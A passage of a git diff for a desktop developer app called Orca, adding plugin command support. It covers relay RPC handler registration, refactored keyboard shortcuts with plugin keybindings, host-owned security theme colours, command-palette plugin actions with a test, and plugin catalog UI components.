+        request: params,
+        viaPanel,
+        resolvePolicy
+      })
+    })
+  }
+  // Why: transport authority is fixed by the registered RPC method; callers
+  // cannot promote a panel call to the wider worker method set in params.
+  register(RELAY_PLUGIN_PANEL_HOST_CALL_METHOD, true)
+  register(RELAY_PLUGIN_WORKER_HOST_CALL_METHOD, false)
+}
diff --git a/src/relay/relay.ts b/src/relay/relay.ts
index 71e41d605..267b9ee8b 100644
--- a/src/relay/relay.ts
+++ b/src/relay/relay.ts
@@ -52,6 +52,7 @@ import { relayLogLine } from './relay-diagnostic-log'
 import { remoteCliRequestTimeoutMs } from './remote-cli-timeout'
 import { shouldReadRemoteCliStdin } from './remote-cli-stdin'
 import { registerManagedHookInstaller } from './managed-hook-installer'
+import { registerRelayPluginHostCallHandlers } from './plugin-host-call-handler'
 
 const DEFAULT_GRACE_MS = DEFAULT_SSH_RELAY_GRACE_PERIOD_SECONDS * 1000
 const SOCK_NAME = 'relay.sock'
@@ -428,6 +429,14 @@ async function main(): Promise<void> {
   const _workspaceSessionHandler = new WorkspaceSessionHandler(dispatcher)
   void _workspaceSessionHandler
 
+  // Why: relay-hosted plugin provisioning is a later phase. Register the
+  // enforcement boundary now with no consented identities or runtime services.
+  registerRelayPluginHostCallHandlers(
+    dispatcher,
+    () => null,
+    () => ({ grantedCapabilities: null, services: null })
+  )
+
   dispatcher.onRequest('orca.cli', async (params, context) => {
     return await dispatcher.requestAnyClient('orca.cli', params, {
       excludeClientId: context.clientId,
diff --git a/src/renderer/src/App.tsx b/src/renderer/src/App.tsx
index a58f1c5c4..b5ef2b9cc 100644
--- a/src/renderer/src/App.tsx
+++ b/src/renderer/src/App.tsx
@@ -181,6 +181,11 @@ import {
   type KeybindingContext,
   type PhysicalModifierToken
 } from '../../shared/keybindings'
+import { PLUGIN_COMMAND_ALIAS_ACTION_IDS } from '../../shared/plugins/plugin-command-actions'
+import { registerAppCommandDispatcher } from '@/lib/app-command-dispatch'
+import { executePluginCommand } from '@/lib/plugin-command-execution'
+import { findPluginCommandForKeybinding } from '@/lib/plugin-command-keybindings'
+import { usePluginCommands } from '@/store/plugin-panels'
 import {
   getRepoExecutionHostId,
   isRuntimeOwnedSshTargetId,
@@ -506,6 +511,7 @@ function App(): React.JSX.Element {
     hasRequestedBackgroundTerminalWorktreeMount
   )
   const keybindings = useAppStore((s) => s.keybindings)
+  const pluginCommands = usePluginCommands()
   const updateStatus = useAppStore((s) => s.updateStatus)
   const activeContextualTourId = useAppStore((s) => s.activeContextualTourId)
   const leftSidebarShortcutLabel = useShortcutLabel('sidebar.left.toggle')
@@ -668,6 +674,7 @@ function App(): React.JSX.Element {
     settings?.primarySelectionMiddleClickPaste
   )
   usePrimarySelectionPaste(primarySelectionMiddleClickPaste)
+
   useAppMenuPaste()
   useLargeTextControlPaste()
   const petEnabled = useAppStore((s) => s.settings?.experimentalPet === true)
@@ -1494,6 +1501,7 @@ function App(): React.JSX.Element {
     floatingTerminalOpen,
     floatingVisibleTabCount,
     keybindings,
+    pluginCommands,
     terminalShortcutPolicy: settings?.terminalShortcutPolicy,
     setFloatingTerminalOpenWithFocus,
     workspaceChromeActive,
@@ -1508,6 +1516,7 @@ function App(): React.JSX.Element {
     floatingTerminalOpen,
     floatingVisibleTabCount,
     keybindings,
+    pluginCommands,
     terminalShortcutPolicy: settings?.terminalShortcutPolicy,
     setFloatingTerminalOpenWithFocus,
     workspaceChromeActive,
@@ -1517,6 +1526,196 @@ function App(): React.JSX.Element {
   useEffect(() => {
     const doubleTapDetector = new ModifierDoubleTapDetector()
 
+    const createRegisteredCommandHandlers = (
+      input?: ShortcutDispatchInput,
+      keybindingContext: KeybindingContext = 'app'
+    ): Map<KeybindingActionId, () => boolean> => {
+      const {
+        activeView,
+        activeWorktreeId,
+        actions,
+        floatingTerminalEnabled,
+        floatingTerminalOpen,
+        terminalShortcutPolicy,
+        keybindings,
+        setFloatingTerminalOpenWithFocus,
+        workspaceChromeActive,
+        creationLayoutActive
+      } = globalShortcutStateRef.current
+      const floatingWorkspaceFocused = isFloatingWorkspacePanelFocused()
+      const canRevealRightSidebar = !creationLayoutActive && canShowRightSidebarForView(activeView)
+      const claim = (actionId: KeybindingActionId, run: () => void): boolean => {
+        input?.preventDefault()
+        if (
+          input &&
+          keybindingContext === 'terminal' &&
+          (terminalShortcutPolicy ?? 'orca-first') === 'orca-first'
+        ) {
+          showTerminalShortcutCaptureNotification({
+            actionId,
+            platform: shortcutPlatform,
+            keybindings
+          })
+        }
+        run()
+        return true
+      }
+
+      return new Map<KeybindingActionId, () => boolean>([
+        [
+          'worktree.history.back',
+          () => {
+            if (creationLayoutActive || !shouldShowWorktreeHistoryControls(activeView)) {
+              return false
+            }
+            return claim('worktree.history.back', () => useAppStore.getState().goBackWorktree())
+          }
+        ],
+        [
+          'worktree.history.forward',
+          () => {
+            if (creationLayoutActive || !shouldShowWorktreeHistoryControls(activeView)) {
+              return false
+            }
+            return claim('worktree.history.forward', () =>
+              useAppStore.getState().goForwardWorktree()
+            )
+          }
+        ],
+        ['sidebar.left.toggle', () => claim('sidebar.left.toggle', () => actions.toggleSidebar())],
+        [
+          'sidebar.sleepingWorkspaces.toggle',
+          () =>
+            claim('sidebar.sleepingWorkspaces.toggle', () => {
+              const store = useAppStore.getState()
+              const nextShowSleeping = !store.showSleepingWorkspaces
+              store.setShowSleepingWorkspaces(nextShowSleeping)
+              if (nextShowSleeping) {
+                store.setSidebarOpen(true)
+              }
+            })
+        ],
+        [
+          'floatingWorkspace.maximize',
+          () => {
+            if (floatingTerminalOpen || !floatingTerminalEnabled) {
+              return false
+            }
+            return claim('floatingWorkspace.maximize', () => {
+              requestFloatingTerminalOpenMaximized()
+              setFloatingTerminalOpenWithFocus(true)
+            })
+          }
+        ],
+        [
+          'tab.rename',
+          () => {
+            const store = useAppStore.getState()
+            if (
+              !workspaceChromeActive ||
+              floatingWorkspaceFocused ||
+              store.activeTabType !== 'terminal' ||
+              !store.activeTabId
+            ) {
+              return false
+            }
+            return claim('tab.rename', () => store.setRenamingTabId(store.activeTabId!))
+          }
+        ],
+        [
+          'workspace.rename',
+          () => {
+            if (!workspaceChromeActive || floatingWorkspaceFocused || !activeWorktreeId) {
+              return false
+            }
+            return claim('workspace.rename', () => {
+              useAppStore.getState().setSidebarOpen(true)
+              requestScrollToCurrentWorkspaceRevealAndRename()
+            })
+          }
+        ],
+        [
+          'workspace.openBoard',
+          () => {
+            if (activeView === 'settings') {
+              return false
+            }
+            return claim('workspace.openBoard', () => {
+              useAppStore.getState().setSidebarOpen(true)
+              window.dispatchEvent(new CustomEvent(OPEN_WORKSPACE_BOARD_EVENT))
+            })
+          }
+        ],
+        [
+          'view.tasks',
+          () => {
+            const store = useAppStore.getState()
+            if (activeView === 'settings' || !store.repos.some((repo) => isGitRepoKind(repo))) {
+              return false
+            }
+            return claim('view.tasks', () => store.openTaskPage())
+          }
+        ],
+        [
+          'sidebar.right.toggle',
+          () =>
+            canRevealRightSidebar
+              ? claim('sidebar.right.toggle', () => actions.toggleRightSidebar())
+              : false
+        ],
+        [
+          'sidebar.explorer.toggle',
+          () =>
+            canRevealRightSidebar
+              ? claim('sidebar.explorer.toggle', () => actions.showRightSidebarFiles())
+              : false
+        ],
+        [
+          'sidebar.search.toggle',
+          () =>
+            canRevealRightSidebar
+              ? claim('sidebar.search.toggle', () => actions.showRightSidebarSearch())
+              : false
+        ],
+        [
+          'sidebar.sourceControl.toggle',
+          () => {
+            if (!canRevealRightSidebar || document.querySelector('[data-terminal-search-root]')) {
+              return false
+            }
+            return claim('sidebar.sourceControl.toggle', () => {
+              actions.setRightSidebarTab('source-control')
+              actions.setRightSidebarOpen(true)
+            })
+          }
+        ],
+        [
+          'sidebar.checks.toggle',
+          () =>
+            canRevealRightSidebar
+              ? claim('sidebar.checks.toggle', () => {
+                  actions.setRightSidebarTab('checks')
+                  actions.setRightSidebarOpen(true)
+                })
+              : false
+        ],
+        [
+          'sidebar.ports.toggle',
+          () =>
+            canRevealRightSidebar
+              ? claim('sidebar.ports.toggle', () => {
+                  actions.setRightSidebarTab('ports')
+                  actions.setRightSidebarOpen(true)
+                })
+              : false
+        ]
+      ])
+    }
+
+    const unregisterAppCommandDispatcher = registerAppCommandDispatcher((actionId) =>
+      (createRegisteredCommandHandlers().get(actionId) ?? (() => false))()
+    )
+
     const dispatchShortcutInput = (input: ShortcutDispatchInput): void => {
       const {
         activeView,
@@ -1526,9 +1725,9 @@ function App(): React.JSX.Element {
         floatingTerminalOpen,
         floatingVisibleTabCount,
         keybindings,
+        pluginCommands,
         terminalShortcutPolicy,
         setFloatingTerminalOpenWithFocus,
-        workspaceChromeActive,
         creationLayoutActive
       } = globalShortcutStateRef.current
 
@@ -1630,22 +1829,6 @@ function App(): React.JSX.Element {
         return
       }
 
-      // Cmd/Ctrl+Alt+Arrow worktree history — kept before right-sidebar shortcuts because it's navigation, not sidebar reveal.
-      if (matchShortcut('worktree.history.back') || matchShortcut('worktree.history.forward')) {
-        // Back/Forward is live wherever the titlebar cluster shows (worktree + page visits), but suppressed in Settings.
-        if (creationLayoutActive || !shouldShowWorktreeHistoryControls(activeView)) {
-          return
-        }
-        input.preventDefault()
-        const store = useAppStore.getState()
-        if (matchShortcut('worktree.history.back')) {
-          store.goBackWorktree()
-        } else {
-          store.goForwardWorktree()
-        }
-        return
-      }
-
       // Only short-circuit chords the floating panel itself claims; suppressing others here would silently no-op them when focus is in the panel.
       const floatingWorkspaceFocused = isFloatingWorkspacePanelFocused()
       if (floatingWorkspaceFocused) {
@@ -1659,139 +1842,42 @@ function App(): React.JSX.Element {
         }
       }
 
-      // Cmd/Ctrl+B — toggle left sidebar
-      if (matchShortcut('sidebar.left.toggle')) {
-        input.preventDefault()
-        notifyTerminalCapture('sidebar.left.toggle')
-        actions.toggleSidebar()
-        return
-      }
-
-      // Toggle the sleeping-workspaces filter without the filters menu (issue #5209); open the sidebar when revealing so they're reachable.
-      if (matchShortcut('sidebar.sleepingWorkspaces.toggle')) {
-        input.preventDefault()
-        notifyTerminalCapture('sidebar.sleepingWorkspaces.toggle')
-        const store = useAppStore.getState()
-        const nextShowSleeping = !store.showSleepingWorkspaces
-        store.setShowSleepingWorkspaces(nextShowSleeping)
-        if (nextShowSleeping) {
-          store.setSidebarOpen(true)
-        }
-        return
-      }
-
-      // Cmd+R renames the active terminal tab — free here because the browser pane owns its own reload; non-terminal tabs fall through (no inline title editor).
-      if (workspaceChromeActive && !floatingWorkspaceFocused && matchShortcut('tab.rename')) {
-        const store = useAppStore.getState()
-        if (store.activeTabType === 'terminal' && store.activeTabId) {
+      // Plugin chords are user-reviewed instructional content. They win over
+      // built-in defaults only in app focus; terminal/editor/browser handlers
+      // retain their own shortcut authority.
+      if (context === 'app') {
+        const pluginCommand = findPluginCommandForKeybinding(
+          pluginCommands,
+          input,
+          shortcutPlatform,
+          keybindings,
+          Boolean(activeWorktreeId)
+        )
+        if (pluginCommand) {
           input.preventDefault()
-          notifyTerminalCapture('tab.rename')
-          store.setRenamingTabId(store.activeTabId)
+          void executePluginCommand(pluginCommand, 'plugin-keybinding').catch(() => {
+            toast.error(
+              translate('auto.App.pluginCommandFailed', 'Could not run the plugin command.')
+            )
+          })
           return
         }
       }
 
-      // Open/reveal the worktree card first so its inline title editor is mounted even when filters or collapse state would hide it.
-      if (
-        workspaceChromeActive &&
-        !floatingWorkspaceFocused &&
-        matchShortcut('workspace.rename') &&
-        activeWorktreeId
-      ) {
-        input.preventDefault()
-        notifyTerminalCapture('workspace.rename')
-        const store = useAppStore.getState()
-        store.setSidebarOpen(true)
-        requestScrollToCurrentWorkspaceRevealAndRename()
-        return
-      }
-
-      if (matchShortcut('workspace.openBoard') && activeView !== 'settings') {
-        input.preventDefault()
-        notifyTerminalCapture('workspace.openBoard')
-        const store = useAppStore.getState()
-        store.setSidebarOpen(true)
-        window.dispatchEvent(new CustomEvent(OPEN_WORKSPACE_BOARD_EVENT))
-        return
-      }
-
-      // Cmd/Ctrl+N is handled in the main-process before-input-event allowlist (window-shortcut-policy.ts), not here, so it fires even inside editors/browser guests.
-
-      // Full-page navigation surfaces own the whole content area, so don't reveal the right sidebar.
-      if (matchShortcut('view.tasks') && activeView !== 'settings') {
-        const store = useAppStore.getState()
-        if (store.repos.some((repo) => isGitRepoKind(repo))) {
-          input.preventDefault()
-          notifyTerminalCapture('view.tasks')
-          store.openTaskPage()
-        }
-        return
-      }
-
-      if (!canRevealRightSidebar) {
-        return
-      }
-
-      // Cmd/Ctrl+L — toggle right sidebar
-      if (matchShortcut('sidebar.right.toggle')) {
-        input.preventDefault()
-        notifyTerminalCapture('sidebar.right.toggle')
-        actions.toggleRightSidebar()
-        return
-      }
-
-      // Cmd/Ctrl+Shift+E — toggle right sidebar / explorer tab
-      if (matchShortcut('sidebar.explorer.toggle')) {
-        input.preventDefault()
-        notifyTerminalCapture('sidebar.explorer.toggle')
-        actions.showRightSidebarFiles()
-        return
-      }
-
-      // Cmd/Ctrl+Shift+F — toggle right sidebar / search tab
-      if (matchShortcut('sidebar.search.toggle')) {
-        input.preventDefault()
-        notifyTerminalCapture('sidebar.search.toggle')
-        openSearchSidebar(null)
-        return
-      }
-
-      // Cmd/Ctrl+Shift+G — source control tab; skip when terminal search is open (there it means "find previous"). DOM check because capture-phase order varies.
-      if (matchShortcut('sidebar.sourceControl.toggle')) {
-        if (document.querySelector('[data-terminal-search-root]')) {
+      const handlers = createRegisteredCommandHandlers(input, context)
+      for (const actionId of PLUGIN_COMMAND_ALIAS_ACTION_IDS) {
+        if (matchShortcut(actionId) && handlers.get(actionId)?.()) {
           return
         }
-        input.preventDefault()
-        notifyTerminalCapture('sidebar.sourceControl.toggle')
-        actions.setRightSidebarTab('source-control')
-        actions.setRightSidebarOpen(true)
-        return
       }
 
-      // Unbound by default; opens the active worktree's Source Control notes send picker. Only consumes the chord when there are unsent notes.
-      if (matchShortcut('sourceControl.sendReviewNotes')) {
+      // Unbound by default, so it runs after the built-in alias handlers above; only consumes the chord when the active worktree has unsent notes.
+      if (canRevealRightSidebar && matchShortcut('sourceControl.sendReviewNotes')) {
         if (actions.openDiffNotesSendMenuForActiveWorktree()) {
           input.preventDefault()
           notifyTerminalCapture('sourceControl.sendReviewNotes')
-          return
         }
       }
-
-      if (matchShortcut('sidebar.checks.toggle')) {
-        input.preventDefault()
-        notifyTerminalCapture('sidebar.checks.toggle')
-        actions.setRightSidebarTab('checks')
-        actions.setRightSidebarOpen(true)
-        return
-      }
-
-      // Cmd+Shift+I — ports tab (macOS only); Ctrl+Shift+I is the DevTools accelerator on Windows/Linux.
-      if (matchShortcut('sidebar.ports.toggle')) {
-        input.preventDefault()
-        notifyTerminalCapture('sidebar.ports.toggle')
-        actions.setRightSidebarTab('ports')
-        actions.setRightSidebarOpen(true)
-      }
     }
 
     const onKeyDown = (e: KeyboardEvent): void => {
@@ -1856,6 +1942,7 @@ function App(): React.JSX.Element {
     window.addEventListener('keyup', onKeyUp, { capture: true })
     window.addEventListener('blur', onBlur)
     return () => {
+      unregisterAppCommandDispatcher()
       window.removeEventListener('keydown', onKeyDown, { capture: true })
       window.removeEventListener('keyup', onKeyUp, { capture: true })
       window.removeEventListener('blur', onBlur)
diff --git a/src/renderer/src/assets/main.css b/src/renderer/src/assets/main.css
index b119d30d5..89ed07433 100644
--- a/src/renderer/src/assets/main.css
+++ b/src/renderer/src/assets/main.css
@@ -130,6 +130,23 @@
     'SF Mono', SFMono-Regular, ui-monospace, 'Cascadia Code', Menlo, Consolas, 'Liberation Mono',
     monospace;
   --radius: 0.625rem;
+  --orca-security-background: #fff;
+  --orca-security-foreground: #0a0a0a;
+  --orca-security-card: #fff;
+  --orca-security-card-foreground: #0a0a0a;
+  --orca-security-popover: #fff;
+  --orca-security-popover-foreground: #0a0a0a;
+  --orca-security-primary: #171717;
+  --orca-security-primary-foreground: #fafafa;
+  --orca-security-secondary: #f5f5f5;
+  --orca-security-secondary-foreground: #171717;
+  --orca-security-muted: #f5f5f5;
+  --orca-security-muted-foreground: #737373;
+  --orca-security-accent: #f5f5f5;
+  --orca-security-accent-foreground: #171717;
+  --orca-security-border: #e5e5e5;
+  --orca-security-input: #e5e5e5;
+  --orca-security-ring: #a1a1a1;
   --background: #fff;
   --editor-surface: #ffffff;
   --foreground: #0a0a0a;
@@ -216,6 +233,23 @@
 /* ── Dark Mode ───────────────────────────────────────── */
 
 .dark {
+  --orca-security-background: #0a0a0a;
+  --orca-security-foreground: #fafafa;
+  --orca-security-card: #171717;
+  --orca-security-card-foreground: #fafafa;
+  --orca-security-popover: #171717;
+  --orca-security-popover-foreground: #fafafa;
+  --orca-security-primary: #e5e5e5;
+  --orca-security-primary-foreground: #171717;
+  --orca-security-secondary: #262626;
+  --orca-security-secondary-foreground: #fafafa;
+  --orca-security-muted: #262626;
+  --orca-security-muted-foreground: #a1a1a1;
+  --orca-security-accent: #404040;
+  --orca-security-accent-foreground: #fafafa;
+  --orca-security-border: rgb(255 255 255 / 0.07);
+  --orca-security-input: rgb(255 255 255 / 0.15);
+  --orca-security-ring: #737373;
   --background: #0a0a0a;
   --editor-surface: #1e1e1e;
   --foreground: #fafafa;
@@ -301,6 +335,28 @@
   --tab-group-split-divider-strong: #a1a1aa;
 }
 
+.plugin-security-chrome {
+  /* Why: plugin themes may style the app, but provenance and consent must
+     retain host-owned contrast so a pack cannot disguise a trust decision. */
+  --background: var(--orca-security-background);
+  --foreground: var(--orca-security-foreground);
+  --card: var(--orca-security-card);
+  --card-foreground: var(--orca-security-card-foreground);
+  --popover: var(--orca-security-popover);
+  --popover-foreground: var(--orca-security-popover-foreground);
+  --primary: var(--orca-security-primary);
+  --primary-foreground: var(--orca-security-primary-foreground);
+  --secondary: var(--orca-security-secondary);
+  --secondary-foreground: var(--orca-security-secondary-foreground);
+  --muted: var(--orca-security-muted);
+  --muted-foreground: var(--orca-security-muted-foreground);
+  --accent: var(--orca-security-accent);
+  --accent-foreground: var(--orca-security-accent-foreground);
+  --border: var(--orca-security-border);
+  --input: var(--orca-security-input);
+  --ring: var(--orca-security-ring);
+}
+
 .linear-priority-bars {
   --linear-priority-bar-inactive-fill: color-mix(in srgb, lch(39.576 1.25 282) 34%, transparent);
 }
diff --git a/src/renderer/src/components/WorktreeJumpPalette.tsx b/src/renderer/src/components/WorktreeJumpPalette.tsx
index 242ce097d..c034994f1 100644
--- a/src/renderer/src/components/WorktreeJumpPalette.tsx
+++ b/src/renderer/src/components/WorktreeJumpPalette.tsx
@@ -110,6 +110,8 @@ import { buildWorktreeChecksReviewIndex } from '@/components/cmd-j/worktree-chec
 import { resolvePaletteFocusRestoreTarget } from '@/components/cmd-j/palette-focus-restore-target'
 import { selectWorktreePaletteCacheInputs } from '@/components/cmd-j/worktree-palette-cache-inputs'
 import { getRepoHostIdentity } from '@/store/slices/repo-host-identity'
+import { buildPluginQuickActions } from '@/components/cmd-j/plugin-quick-actions'
+import { usePluginCommands } from '@/store/plugin-panels'
 import {
   getComposerEligibleRepos,
   resolveComposerGitRepoId
@@ -342,6 +344,7 @@ export default function WorktreeJumpPalette(): React.JSX.Element | null {
   const projectHostSetups = useAppStore((s) => s.projectHostSetups)
   const detectedWorktreesByRepo = useAppStore((s) => s.detectedWorktreesByRepo)
   const pendingWorktreeCreations = useAppStore((s) => s.pendingWorktreeCreations)
+  const pluginCommands = usePluginCommands()
   // Why: keep status maps subscribed through the close animation — dropping them while CommandDialog fades out would flash rows empty mid-animation.
   const [statusInputsLingering, setStatusInputsLingering] = useState(false)
   useEffect(() => {
@@ -824,7 +827,14 @@ export default function WorktreeJumpPalette(): React.JSX.Element | null {
     () => buildCmdJSettingsResults(settingsSections),
     [settingsSections]
   )
-  const actionResults = useMemo(() => buildCmdJActionResults(getCmdJQuickActions()), [])
+  const actionResults = useMemo(
+    () =>
+      buildCmdJActionResults([
+        ...getCmdJQuickActions(),
+        ...buildPluginQuickActions(pluginCommands)
+      ]),
+    [pluginCommands]
+  )
   // Why: only offer project jumps the sidebar can reveal — archived-only repos are excluded from navigation.
   const renderableProjectRepoIds = useMemo(() => {
     const ids = new Set<string>()
@@ -1391,17 +1401,30 @@ export default function WorktreeJumpPalette(): React.JSX.Element | null {
       closeModal()
       setSelectedItemId('')
       const ctx = buildQuickActionContext()
-      void action.run(ctx).then((result) => {
-        if (result.status === 'unavailable') {
-          toast.error(getUnavailableQuickActionMessage(action.title, result.reason))
-          return
-        }
-        if (action.id === 'create-workspace') {
-          recordFeatureInteraction('cmd-j-create-workspace')
-          return
-        }
-        recordFeatureInteraction('cmd-j-quick-action')
-      })
+      void action
+        .run(ctx)
+        .then((result) => {
+          if (result.status === 'unavailable') {
+            toast.error(getUnavailableQuickActionMessage(action.title, result.reason))
+            return
+          }
+          if (action.id === 'create-workspace') {
+            recordFeatureInteraction('cmd-j-create-workspace')
+            return
+          }
+          recordFeatureInteraction('cmd-j-quick-action')
+        })
+        .catch((error: unknown) => {
+          if (!action.id.startsWith('plugin:')) {
+            throw error
+          }
+          toast.error(
+            translate(
+              'auto.components.WorktreeJumpPalette.pluginCommandFailed',
+              'Could not run the plugin command.'
+            )
+          )
+        })
     },
     [buildQuickActionContext, closeModal, recordFeatureInteraction]
   )
diff --git a/src/renderer/src/components/cmd-j/plugin-quick-actions.test.ts b/src/renderer/src/components/cmd-j/plugin-quick-actions.test.ts
new file mode 100644
index 000000000..0caadb755
--- /dev/null
+++ b/src/renderer/src/components/cmd-j/plugin-quick-actions.test.ts
@@ -0,0 +1,42 @@
+import { describe, expect, it, vi } from 'vitest'
+import type { ActivePluginCommand } from '@/store/plugin-panels'
+import { buildPluginQuickActions } from './plugin-quick-actions'
+
+vi.mock('@/lib/plugin-command-execution', () => ({ executePluginCommand: vi.fn() }))
+
+function command(context: 'global' | 'worktree'): ActivePluginCommand {
+  return {
+    pluginKey: 'orca-samples.tasks',
+    pluginName: 'Tasks Pack',
+    id: 'open',
+    title: 'Open Tasks',
+    context,
+    handler: { type: 'built-in', action: 'view.tasks' },
+    keybindings: []
+  }
+}
+
+describe('plugin Cmd+J actions', () => {
+  it('adds enabled plugin commands with plugin attribution', () => {
+    const action = buildPluginQuickActions([command('global')])[0]!
+
+    expect(action).toMatchObject({
+      id: 'plugin:orca-samples.tasks/open',
+      title: 'Open Tasks',
+      description: 'Tasks Pack plugin command'
+    })
+    expect(action.isAvailable({ activeWorktreeId: null } as never)).toEqual({ available: true })
+  })
+
+  it('requires an active workspace for worktree commands', () => {
+    const action = buildPluginQuickActions([command('worktree')])[0]!
+
+    expect(action.isAvailable({ activeWorktreeId: null } as never)).toEqual({
+      available: false,
+      reason: 'no-active-workspace'
+    })
+    expect(action.isAvailable({ activeWorktreeId: 'worktree-1' } as never)).toEqual({
+      available: true
+    })
+  })
+})
diff --git a/src/renderer/src/components/cmd-j/plugin-quick-actions.ts b/src/renderer/src/components/cmd-j/plugin-quick-actions.ts
new file mode 100644
index 000000000..73b1ffbcb
--- /dev/null
+++ b/src/renderer/src/components/cmd-j/plugin-quick-actions.ts
@@ -0,0 +1,34 @@
+import { Blocks } from 'lucide-react'
+import type { ActivePluginCommand } from '@/store/plugin-panels'
+import { executePluginCommand } from '@/lib/plugin-command-execution'
+import { translate } from '@/i18n/i18n'
+import type { CmdJQuickAction } from './quick-actions'
+
+export function buildPluginQuickActions(
+  commands: readonly ActivePluginCommand[]
+): CmdJQuickAction[] {
+  return commands.map((command) => ({
+    id: `plugin:${command.pluginKey}/${command.id}`,
+    kind: 'action',
+    title: command.title,
+    description: translate(
+      'auto.components.cmd.j.pluginQuickActions.description',
+      '{{value0}} plugin command',
+      { value0: command.pluginName }
+    ),
+    icon: Blocks,
+    verbKeywords: [
+      command.title,
+      command.pluginName,
+      translate('auto.components.cmd.j.pluginQuickActions.keyword', 'plugin command')
+    ],
+    isAvailable: (context) =>
+      command.context === 'worktree' && !context.activeWorktreeId
+        ? { available: false, reason: 'no-active-workspace' }
+        : { available: true },
+    run: async () => {
+      await executePluginCommand(command, 'plugin-palette')
+      return { status: 'ok' }
+    }
+  }))
+}
diff --git a/src/renderer/src/components/plugin-catalog/PluginCatalogAvatar.tsx b/src/renderer/src/components/plugin-catalog/PluginCatalogAvatar.tsx
new file mode 100644
index 000000000..a6de3b41c
--- /dev/null
+++ b/src/renderer/src/components/plugin-catalog/PluginCatalogAvatar.tsx
@@ -0,0 +1,25 @@
+import { cn } from '@/lib/utils'
+import { pluginMonogram } from './plugin-display-name'
+
+type PluginCatalogAvatarProps = {
+  name: string
+  className?: string
+}
+
+/** Quiet monogram tile — same footprint as the old icon well, unique per plugin. */
+export function PluginCatalogAvatar({
+  name,
+  className
+}: PluginCatalogAvatarProps): React.JSX.Element {
+  return (
+    <div
+      aria-hidden="true"
+      className={cn(
+        'flex size-10 shrink-0 items-center justify-center rounded-lg border border-border/60 bg-muted/50 text-[11px] font-semibold tracking-wide text-muted-foreground',
+        className
+      )}
+    >
+      {pluginMonogram(name)}
+    </div>
+  )
+}
diff --git a/src/renderer/src/components/plugin-catalog/PluginCatalogEmptyState.tsx b/src/renderer/src/components/plugin-catalog/PluginCatalogEmptyState.tsx
new file mode 100644
index 000000000..5164047eb
--- /dev/null
+++ b/src/renderer/src/components/plugin-catalog/PluginCatalogEmptyState.tsx
@@ -0,0 +1,62 @@
+import type { LucideIcon } from 'lucide-react'
+import { cn } from '@/lib/utils'
+
+type PluginCatalogEmptyStateProps = {
+  icon: LucideIcon
+  title: string
+  description: string
+  action?: React.ReactNode
+  className?: string
+  tone?: 'default' | 'destructive'
+}
+
+/** Centered empty / error surface used across the plugin catalog. */
+export function PluginCatalogEmptyState({
+  icon: Icon,
+  title,
+  description,
+  action,
+  className,
+  tone = 'default'
+}: PluginCatalogEmptyStateProps): React.JSX.Element {
+  const destructive = tone === 'destructive'
+  return (
+    <div
+      className={cn(
+        'flex flex-col items-center justify-center rounded-xl border border-dashed px-6 py-12 text-center',
+        destructive ? 'border-destructive/30 bg-destructive/5' : 'border-border/80 bg-muted/20',
+        className
+      )}
+    >
+      <div
+        className={cn(
+          'mb-4 flex size-12 items-center justify-center rounded-2xl border shadow-xs',
+          destructive
+            ? 'border-destructive/25 bg-destructive/10 text-destructive'
+            : 'border-border/70 bg-card text-muted-foreground'
+        )}
+      >
+        <Icon className="size-5" aria-hidden="true" />
+      </div>
+      <h4
+        className={cn(
+          'text-sm font-semibold tracking-tight',
+          destructive ? 'text-destructive' : 'text-foreground'
+        )}
+      >
+        {title}
+      </h4>
+      <p
+        className={cn(
+          'mt-1.5 max-w-sm text-[13px] leading-5',
+          destructive ? 'text-destructive/90' : 'text-muted-foreground'
+        )}
+      >
+        {description}
+      </p>
+      {action ? (
+        <div className="mt-5 flex flex-wrap items-center justify-center gap-2">{action}</div>
+      ) : null}
+    </div>
+  )
+}
diff --git a/src/renderer/src/components/plugin-catalog/PluginCatalogLayout.tsx b/src/renderer/src/components/plugin-catalog/PluginCatalogLayout.tsx
new file mode 100644
index 000000000..a1789d2d1
--- /dev/null
+++ b/src/renderer/src/components/plugin-catalog/PluginCatalogLayout.tsx
@@ -0,0 +1,85 @@
+import { Search } from 'lucide-react'
+import { translate } from '@/i18n/i18n'
+import { Input } from '../ui/input'
+import { Tabs, TabsList, TabsTrigger } from '../ui/tabs'
+
+export type PluginCatalogFilter = 'all' | 'installed'
+
+type PluginCatalogLayoutProps = {
+  filter: PluginCatalogFilter
+  onFilterChange: (filter: PluginCatalogFilter) => void
+  search: string
+  onSearchChange: (search: string) => void
+  allCount: number
+  installedCount: number
+  toolbar?: React.ReactNode
+  children: React.ReactNode
+}
+
+/** Shared catalog chrome for both the in-app manager and a future hosted directory. */
+export function PluginCatalogLayout({
+  filter,
+  onFilterChange,
+  search,
+  onSearchChange,
+  allCount,
+  installedCount,
+  toolbar,
+  children
+}: PluginCatalogLayoutProps): React.JSX.Element {
+  return (
+    <section
+      aria-label={translate('auto.components.pluginCatalog.PluginCatalogLayout.title', 'Plugins')}
+      className="space-y-4"
+    >
+      <div className="flex flex-wrap items-center gap-2">
+        <Tabs
+          value={filter}
+          onValueChange={(value) => onFilterChange(value as PluginCatalogFilter)}
+        >
+          <TabsList
+            aria-label={translate(
+              'auto.components.pluginCatalog.PluginCatalogLayout.filter',
+              'Plugin filter'
+            )}
+          >
+            <TabsTrigger value="all">
+              {translate('auto.components.pluginCatalog.PluginCatalogLayout.all', 'All')}
+              <span className="text-xs font-normal tabular-nums text-muted-foreground">
+                {allCount}
+              </span>
+            </TabsTrigger>
+            <TabsTrigger value="installed">
+              {translate(
+                'auto.components.pluginCatalog.PluginCatalogLayout.installed',
+                'Installed'
+              )}
+              <span className="text-xs font-normal tabular-nums text-muted-foreground">
+                {installedCount}
+              </span>
+            </TabsTrigger>
+          </TabsList>
+        </Tabs>
+        <div className="relative min-w-56 flex-1">
+          <Search className="pointer-events-none absolute top-1/2 left-3 size-4 -translate-y-1/2 text-muted-foreground" />
+          <Input
+            value={search}
+            className="pl-9"
+            aria-label={translate(
+              'auto.components.pluginCatalog.PluginCatalogLayout.searchLabel',
+              'Search plugins'
+            )}
+            placeholder={translate(
+              'auto.components.pluginCatalog.PluginCatalogLayout.searchPlaceholder',
+              'Search plugins, categories, or publishers'
+            )}
+            onChange={(event) => onSearchChange(event.target.value)}
+          />
+        </div>
+        {toolbar ? <div className="flex items-center gap-1">{toolbar}</div> : null}
+      </div>
+
+      {children}
+    </section>
+  )
+}
diff --git a/src/renderer/src/components/plugin-catalog/plugin-display-name.ts b/src/renderer/src/components/plugin-catalog/plugin-display-name.ts
new file mode 100644
index 000000000..c2661a992
--- /dev/null
